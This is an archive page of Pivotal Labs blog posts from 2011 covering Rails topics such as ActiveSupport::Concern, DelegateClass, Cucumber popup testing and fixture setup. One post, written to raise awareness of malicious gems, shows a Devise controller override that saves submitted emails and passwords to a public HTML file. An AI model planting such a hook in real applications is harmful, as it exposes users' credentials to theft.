Pivotal Labs

Main menu

Skip to primary content
Skip to secondary content
  • About
  • Case Studies
  • Team
    • Executives
    • Locations
      • San Francisco (HQ)
      • Boston
      • Boulder
      • Denver
      • London
      • Los Angeles
      • New York
  • Community
    • Blogs
    • Tech Talks
    • Events
  • Careers
    • Lifestyle
    • Principles & Practices
    • Benefits
    • FAQ
    • Apply
  • Contact
    • Press Room
    • Press Releases
    • In The News
    • Press Kit
  • All
  • Labs
  • Standup
  • Tracker
Tyler Schultz

[Standup][SF] 11/22/2011: Programmatic select box changes

Tyler Schultz
Tuesday, November 22, 2011

Help!

“How do I choose the value of a select box programmatically? The val function does not seem to do the trick.”

Try setting the desired option as selected and then trigger a change event on the select input.

*”A pair is looking for ‘multi file upload via iframe-transport’ expertise. Specifically uploads in FireFox 3.6.”

Interesting

  • The latest RubyMine EAP has improved code formatting options!
  • 0 Shares
  • Share on Facebook
  • Share on Twitter
Pivotal Labs

Figuring out what Rails Guide to edit next

Pivotal Labs
Sunday, November 13, 2011

I’ve been contributing to Rails lately by going through the Rails Guides and making sure they’re up to date.

How do I go about finding a guide that hasn’t been updated in a while?

Here’s what I came up with:


ls -1 | perl -e 'while(<>) { chomp; $file = $_; print "$file was"; $changed = qx/git log -1 --format=format:"changed by %an %ar" $file/; print " $changedn" } '

In the docrails/railties/guides/source directory, this outputs:


2_2_release_notes.textile was changed by Vijay Dev 11 months ago
2_3_release_notes.textile was changed by Vijay Dev 8 months ago
3_0_release_notes.textile was changed by ov3y 3 months ago
3_1_release_notes.textile was changed by Rinaldi Fonseca 2 months ago
action_controller_overview.textile was changed by Brian Durand 3 weeks ago
[...]

There’s got to be a better way. I’d like to be able to sort by the date they were last written, etc.

Got any ideas?

  • 0 Shares
  • Share on Facebook
  • Share on Twitter
Stephan Hagemann

Another first four weeks: concerned and delegated

Stephan Hagemann
Thursday, November 10, 2011

James’ post from a couple of weeks ago inspired me to write up my own experiences of my first couple of weeks at Pivotal. However, instead of telling you how it felt, I will tell you about stuff I learned.

ActiveSupport::Concern

I have seen and used this pattern of adding both class and instance methods from a module to a class:

module Foo
  def self.included(base)
    base.extend(ClassMethods)
  end

  module ClassMethods
    def foo
      'classy'
    end
  end

  def foo
    'instancy'
  end
end

class Bar
  include Foo
end

Bar.foo # => "classy"
Bar.new.foo # => "instancy"

While the syntax for including Foo in Bar is nice and succinct, the definition of Foo contains the funny looking “included” hook to also extend the base class.

If you happen to have ActiveSupport around, you can instead define Foo as follows while achieving the same result:

module Foo
  extend ActiveSupport::Concern

  module ClassMethods
    def foo
      'classy'
    end
  end

  def foo
    'instancy'
  end
end

The documentation explains the more convenient feature of Concern, which is module dependency. Using Concern, module dependencies are correctly loaded without the need for you to be concerned.

DelegateClass

In one of the projects I worked on, we were exporting data from a Rails app. We wanted access to the business logic of the models while not littering the application’s code with export related code. We decided to extend the models using DelegateClass (see Jeff’s blog post on DelegateClass as a starting point). And DelegateClass rocked our world, too.

A couple of things to note:

  • It turns out, that these days there is no need to manually ensure that id gets delegated. It works out of the box.
  • Class methods need manual delegation.

Here is a basic delegation example:

require 'delegate'

class Foo
  def to_s
    "foo"
  end
end

module Export
  class Foo < DelegateClass(Foo)
    def bar
      "#{self} bar"
    end
  end
end

foo = Foo.new

foo.to_s # => "foo"

Export::Foo.new(foo).to_s # => "foo"
Export::Foo.new(foo).bar # => "foo bar"

When delegating ActiveRecord models with associations between them, the following pattern can be helpful to make sure you get the delegated classes when traversing relationships:

class Post < ActiveRecord::Base
  has_many :comments
end

class Comment < ActiveRecord::Base
  belongs_to :post
end

module Export
  class Post < DelegateClass(Post)
    alias_method :original_comments, :comments
    def comments
      original_comments.map { |comment| Export::Comment.new(comment) }
    end

    #some methods for exporting
  end
end

module Export
  class Comment < DelegateClass(Comment)
    alias_method :original_post, :post
    def post
      Export::Post.new(original_post)
    end

    #some more methods for exporting
  end
end

original_post = Post.new(comments: [Comment.new])
original_post.comments.first.class # => Comment(...)
post = Export::Post.new(original_post)
post.comments.first.class # => Export::Comment

#Be aware!
original_post == post # => true
original_post.class == post.class # => false
  • 0 Shares
  • Share on Facebook
  • Share on Twitter
Pivotal Labs

The Radically Refactored Rails Roundup

Pivotal Labs
Sunday, November 6, 2011

I want to talk about something that’s been bugging me for a long time in Rails. I want to talk about it, but a lot of smart people have already said what I have to say recently. They’ve said it rather well.

Here’s the upshot: Rails makes it look like you’re supposed to have model objects (subclasses of ActiveRecord::Base), controller classes (subclasses of ActionController::Base), and view templates, and that’s it. Maybe some observers (subclasses of ActiveRecord::Observer). For the most part, Rails style is to push as much behavior into the model as possible. “Skinny controllers, skinny views, fat models,” they said.

Well, object obesity is a growing problem in the Rails world, because we’ve been shoving so much responsibility on our poor model objects that they can barely hold themselves up. They’re particularly hard to test, because while you’re mainly interested in testing your domain logic, to make one of these objects in a test you often need to persist it in the database first. That’s just crazy. And slow.

Rails is no more exempt from the utility of the Single Responsibility Principle than any other environment. What if we separated the concerns of domain logic and persistence?

For a while I thought I might be the crazy one, but it turns out I’m not alone in thinking this. We’re seeing a renaissance of classical OO patterns in the Rails world as people realize that throwing everything in a handful of objects doesn’t scale with application complexity.

The Roundup

  • The earliest post I’ve seen is from James Golick in early 2010, who calls it Crazy, Heretical, and Awesome. As James writes,

    Ever wondered why it seems impossible to write a really good state machine plugin — or why file uploads always seem to hurt eventually, even with something like paperclip? It’s because these things don’t belong coupled to persistence. [...] A file upload handler shouldn’t have to worry about how the name of the file gets stored to the database, let alone where it is in the persistence lifecycle and what that means. Are we in a transaction? Is it before or after save? Can we safely raise an error?

    I also love the objection he hears the reader raise:

    “But then I’ll have all these extra classes in my app!”

    I’ve heard this objection too. I don’t get it. Some people seem to have the idea that the fewer classes you have, the easier it is to maintain the app. Maybe it comes from being used to 3000-line classes. Having more of those would be a pain. But by breaking up responsibility into cohesive units, each class becomes comprehensible, which is of the utmost importance in software development, especially as the complexity of the app and the size of the team grow.

  • This past July, the storm began to gather, as Avdi Grimm got all Fowler on Rails‘ ass. He also gives a shout out to Jeff Casimir’s Draper, which I haven’t gotten to use yet but I am itching to try. People who have used it are saying good things.

  • Then Piotr Solnica wrote about “Making ActiveRecord Models Thin“. Don’t miss the rich discussion in the comments. Also, make sure you read the section “Well Defined API“. The part where he writes,

    Your Domain Model should have an interface to every action your application should be able to perform. If you have an online shop where a user can buy a product then with a well-written Rails application you should be able to fire up the console and be able to easily perform this operation. If it’s not so simple then you probably want to think about your model implementation again.

    Mmm, yeah. That’s good medicine.

  • Coming out of that discussion in the comments, Giles Bowkett re-raised a point from James’ piece, that not all apps will need this kind of treatment, because not all apps will be complex enough to feel the pain. Giles writes,

    I don’t think there’s really any debate here at all, except for one crucial question: where do you mark the threshold? How do you decide when your code needs this split?

    Great question.

  • Next up, the great Steve Klabnik calls Plain Old Ruby Objects “The Secret to Rails OO Design“, focusing on the ways they can improve the structuring of view logic. He explains the problem with Rails this way:

    [T]here’s something special about Rails which seems to lure you into the trap of never breaking classes down. Maybe it’s that lib/ feels like such a junk drawer. Maybe it’s that the fifteen minute examples only ever include ActiveRecord models.

    He followed that post up with another awesome one about writing presenters. Do give them a read.

Any good articles I’ve missed? Leave a comment and let me know.

  • 0 Shares
  • Share on Facebook
  • Share on Twitter
Pivotal Labs

Interacting with popup windows in Cucumber/Selenium

Pivotal Labs
Monday, October 24, 2011

OAuth providers like LinkedIn often pop-up in a new browser window rather than in Javascript so that the user entering their credentials can see the location bar to be sure they are not being phished by the website requesting their credentials. This is great for security, but not so great for Cucumber testing.

features/signup.feature

Scenario: Sign Up with LinkedIn
  When I go to the home page
  And I follow "Sign Up"
  And I grant LinkedIn access
  Then I should be on the new user page

My application has a hyperlink that opens the OAuth login on the OAuth provider’s website in a new window. Let’s presume the simple matter of wiring this up is already coded in my view.

Testing this with Cucumber requires telling the Selenium web driver to interact with the new popup window. We can do this using page.driver.browser.window_handles to find the newest window handle and scoping out actions to that window.

features/support/signup_steps.rb

When /^I grant LinkedIn access$/ do
  begin
    main, popup = page.driver.browser.window_handles
    within_window(popup) do
      fill_in("Email", :with => "newlee@pivotallabs.com")
      fill_in("Password", :with => "password")
      click_on("Ok, I'll Allow It")
    end
  rescue
  end
end

And that’s it!

Keep in mind that if you use this test as-is, you will be hitting LinkedIn on the real Internet. This is great if you want a test that will always verify the real API, but not so good for CI, since it is Internet connection-dependent and slow. Consider using something like VCR or Artifice to stub out your service calls.

  • 0 Shares
  • Share on Facebook
  • Share on Twitter
Ben Smith

Do you know what your gems are doing?

Ben Smith
Saturday, October 8, 2011

A client recently expressed concern with a number of gems added to his project. A quick explanation and a little documentation cleared up what each gem was doing/why we needed it.

This satisfied the client, but it got me wondering: what’s the worst thing that could happen from a gem if it was malicious? The worst case I could imagine would be the client’s customer’s data getting stolen, the customers completely loosing faith in the site, and the client’s project failing because of it.

How likely is this to happen? I don’t really know.

How hard would it be for someone to do this?

I decided to see what it would take to harvest usernames and passwords from a typical Rails app using Devise for authentication. In less than 5 minutes, I had written an initializer which modified the behavior of the Devise controller to write out usernames and passwords to an HTML file in the public directory of the app.

The code wasn’t clever at all. I copied/pasted the create action, and added three extra lines to write out the data to the file.

      class Devise::SessionsController < ApplicationController
        prepend_before_filter :require_no_authentication, :only => [ :new, :create ]
        include Devise::Controllers::InternalHelpers

        # POST /resource/sign_in
        def create
          File.open("#{Rails.root}/public/passwords.html", 'a+') do |f|
            f.write("#{params[:user][:email]} #{params[:user][:password]}<br />")
          end
...

So the answer to my question, how hard would it be for someone to write a malicious gem that would compromise customer data: dead easy.

I packaged up the code as a gem. Anyone can easily pwn their own Devise Rails app by adding the following line to their Gemfile:

gem 'devise_hack'

Of course, who would install a gem that would pwn their own app? No one, but what about a “long con” approach?

Say I wrote a useful gem, pushed updates occasionally, and got a decent level adoption. At this point I could push a new version of the gem which contained a little hack, and wait for the usernames and passwords to roll in. Maybe like this little guy…

gem 'awesome_rails_flash_messages'

This little gem takes all of your Rails flash messages and makes them more awesome. Simple as that. Ohh, it also logs and requests containing a password to a file AND posts it to an external web service, but that’s nothing to worry about.

So how do you avoid these malicious gems? For this dead simple hack, it is dead simple to identify. All you have to do is look at the source code. If you see code that is writing credentials to a file, maybe posting to an external web service, or sending emails when it really shouldn’t be… you might want to reconsider using that gem.

  • 0 Shares
  • Share on Facebook
  • Share on Twitter
Georg Apitz

Fixture builder and rspec-acceptance

Georg Apitz
Monday, September 26, 2011

Getting rspec-acceptance (webdriver, no cucumber) to work correctly with fixture_builder and database_cleaner can be a bit of a drag.

It is actually not that hard and there are resources all over the inter tubes, you just have to find them.
For the sake of saving myself and some fellow programmers some time I will summarize the process we followed.

First, you need to make sure to have the fixture_builder, database_cleaner and while we’re at it headless gems installed.
Then the bulk of the work happens in acceptance_helper.rb, spec_helper.rb and fixture_builder.rb.

Details on what is in them are below. There are some notable things which I mention in context with the code.

spec_helper.rb

If you need you fixtures loaded in a particular order
you can load them in that order by specifying them as argument for the config.global_fixtures variable in spec_helper.

ENV["RAILS_ENV"] ||= 'test'
require File.expand_path("../../config/environment", __FILE__)
require 'rspec/rails'

Dir[Rails.root.join("spec/support/**/*.rb")].each {|f| require f}

RSpec.configure do |config|

  config.include ObjectCreationHelper
  config.include ObjectCreationMethods
  config.mock_with :rspec

  config.global_fixtures = :all

  # Remove this line if you're not using ActiveRecord or ActiveRecord fixtures
  config.fixture_path = "#{::Rails.root}/spec/fixtures"

  # If you're not using ActiveRecord, or you'd prefer not to run each of your
  # examples within a transaction, remove the following line or assign false
  # instead of true.
  config.use_transactional_fixtures = true

  config.before(js: nil) do
    config.use_transactional_fixtures = true
  end

end

accptance_helper.rb

Here headless (enables running selenium tests on a ci-server without a browser) and data_base cleaner are set up.
Database_cleaner will clean everything in the specified interval (in my case after each test) unless tables are specified in the “except” option for the database_cleaner strategy.
It is important to turn transactional fixtures off before running specs that require js and turn them back on after they have run
to ensure rspec spec still runs, assuming that there are spec files that have both test that require js and some that don’t require js.

require 'spec_helper'
require 'capybara/rspec'
require 'capybara/rails'
require 'database_cleaner'
require 'headless'

headless = Headless.new
headless.start

at_exit do
  unless ENV['RUNNING_CI']
    headless.destroy
  end
end

def build_fixtures
  Fixtures.reset_cache
  fixtures_folder = File.join(Rails.root.to_s, 'spec', 'fixtures')
  fixtures = Dir[File.join(fixtures_folder, '*.yml')].map { |f| File.basename(f, '.yml') }
  DatabaseCleaner.clean
  Fixtures.create_fixtures(fixtures_folder, fixtures)
end

RSpec.configure do |config|
  config.before(:suite) do
    DatabaseCleaner.strategy = :truncation, {:except => %w[ ]}
    DatabaseCleaner.clean_with(:truncation)
  end

  # before each test that requires js, turn transactional fixtures off
  # build the fixtures and start the db cleaner
  config.before(js: true) do
    config.use_transactional_fixtures = false
    build_fixtures()
    DatabaseCleaner.start
  end

  # after each spec with js, turn transactional fixtures back on
  # rebuild fixtures
  config.after(:each, js: true) do
    config.use_transactional_fixtures = true
    build_fixtures()
  end
end

fixture_builder.rb

Pretty straight forward, some clean up and checking if fixtures need rebuilding. Since database_cleaner will try to clean all exisiting tables
it is important to exclude database views specifically.

FixtureBuilder::Configuration.class_eval do

  def rebuild_fixtures?
    (@file_hashes != read_config) || Dir.glob('spec/fixtures/**/*.yml').empty?
  end

  def files_to_check
    @files_to_check ||= []
  end

  def delete_tables
    ActiveRecord::Base.connection.execute('SET FOREIGN_KEY_CHECKS=0')
    tables.each { |t| ActiveRecord::Base.connection.delete(delete_sql % ActiveRecord::Base.connection.quote_table_name(t)) }
  ensure
    ActiveRecord::Base.connection.execute('SET FOREIGN_KEY_CHECKS=1')
  end

end

FixtureBuilder.configure do |builder|
  builder.files_to_check = Dir["spec/support/fixture_builder.rb"]
  builder.skip_tables += ["current_post_stats_view"]
  builder.factory do

    united_states = Country.create! :name => "United States", :country_code => "US"
    Country.create! :name => "Canada", :country_code => "CA"

    admin_user = User.create! do |user|
      user.first_name = "Admin"
      user.last_name = "User"
      user.email = "admin@super_site_.com"
      user.password = "password"
      user.password_confirmation = "password"
      user.role = "admin"
    end
    name("admin", admin_user)

  end
end
  • 0 Shares
  • Share on Facebook
  • Share on Twitter
Ken Mayer

SF Standup 8/12/2011: Helpers All The Way Down

Ken Mayer
Friday, August 12, 2011

Ask for Help

“clear_helpers and ActionController::Base”

A [recent?] change to Rails 3 moved helper :all from the default ApplicationController to ActionController::Base — which would be fine, except that there’s little documentation on how to override this (for example, when you don’t want all helpers included in your controller class)

There is a lesser known method from AbstractController::Helpers

# Clears up all existing helpers in this class, only keeping the helper
# with the same name as this class.
def clear_helpers

You would think that since helper :all is being called from the base class, there would be no way to override it. Except for this little bit of code at the bottom of ActionController::Base:

def self.inherited(klass)
  super
  klass.helper :all if klass.superclass == ActionController::Base
end

So, clear_helpers will “work” for all subclasses of ApplicationController — which is everything you should care about. And the default, all helpers included, remains.

  • 0 Shares
  • Share on Facebook
  • Share on Twitter
Glenn Jahnke

Standup 8/11/2011: Whole lotta Rails

Glenn Jahnke
Thursday, August 11, 2011

Ask for Help

“What do you tell Rails the default timezone is if your database has no concept like that?”

The best solution was to convert all rows in your DB to UTC and set Rails to also use UTC. There are MySQL commands to convert whole databases over to UTC, and can be run overnight if necessary.

Interesting Things

There is a new release of Fixture Builder!

  • Supports Rails 2 and 3
  • Supports using existing Rails style fixture files using config.legacy_fixture = Dir[path_to_old_fixtures] in your fixture_builder.rb file
  • Its better tested too!
  • Go grab it at https://github.com/rdy/fixture_builder#readme

Rails 3 Helpers

Rails now includes all helpers across your project in controllers that extends ApplicationController. Apparently there isn’t a setting to override this behavior either, and this is a change from Rails 2 where the scaffold would just include a line at the top of your controller like helpers :all which could easily be deleted.

  • 0 Shares
  • Share on Facebook
  • Share on Twitter
Pivotal Labs

Installing Rails development stack on OS X Lion

Pivotal Labs
Thursday, August 4, 2011

I recently started working with OS X Lion at home and started researching the best way to get a Ruby on Rails environment up and running quickly.

After a little searching, I found a really well written article by Frederico Araujo over at http://www.frederico-araujo.com/2011/07/30/installing-rails-on-os-x-lion-with-homebrew-rvm-and-mysql/.

Fred’s blog post walks you through step by step getting Homebrew, RVM, Ruby 1.9.2 and MySQL up and running.

It worked perfectly.

Thanks Fred!

  • 0 Shares
  • Share on Facebook
  • Share on Twitter

Topics

  • agile (780)
  • rails (113)
  • testing (88)
  • ruby (83)
  • ruby on rails (70)
  • jobs (62)
  • javascript (55)
  • techtalk (44)
  • rspec (38)
  • ironblogger (32)
  • productivity (30)
  • activerecord (29)
  • gogaruco (29)
  • git (28)
  • nyc (27)
  • rubymine (26)
  • bloggerdome (23)
  • mobile (22)
  • process (21)
  • pivotal tracker (20)
  • cucumber (20)
  • jasmine (19)
  • design (18)
  • ios (18)
  • webos (17)
  • objective-c (17)
  • android (16)
  • palm (16)
  • "soft" ware (16)
  • fun (15)
  • tracker ecosystem (15)
  • ci (15)
  • cedar (15)
  • rails3 (14)
  • performance (14)
  • bdd (14)
  • gem (13)
  • css (13)
  • tdd (13)
  • selenium (12)
  • goruco (12)
  • bundler (12)
  • meetup (11)
  • railsconf (11)
  • nyc-standup (11)
  • capybara (10)
  • mac (10)
  • mojo (10)
  • chef (10)
  • api (10)
Subscribe to rails Feed
  1. ←
  2. 1
  3. 2
  4. 3
  5. 4
  6. 5
  7. 6
  8. 7
  9. ...
  10. 12
  11. →
  • About
  • Case Studies
  • Team
  • Community
  • Careers
  • Contact
  • Labs
  • Events

Contact Us

contact@pivotallabs.com
+1 415-77-PIVOT
TwitterLinkedInFacebook

Pivotal Tracker

Tracker is the award-winning agile project management tool that enables real-time collaboration around a shared, prioritized backlog.
Visit pivotaltracker.com >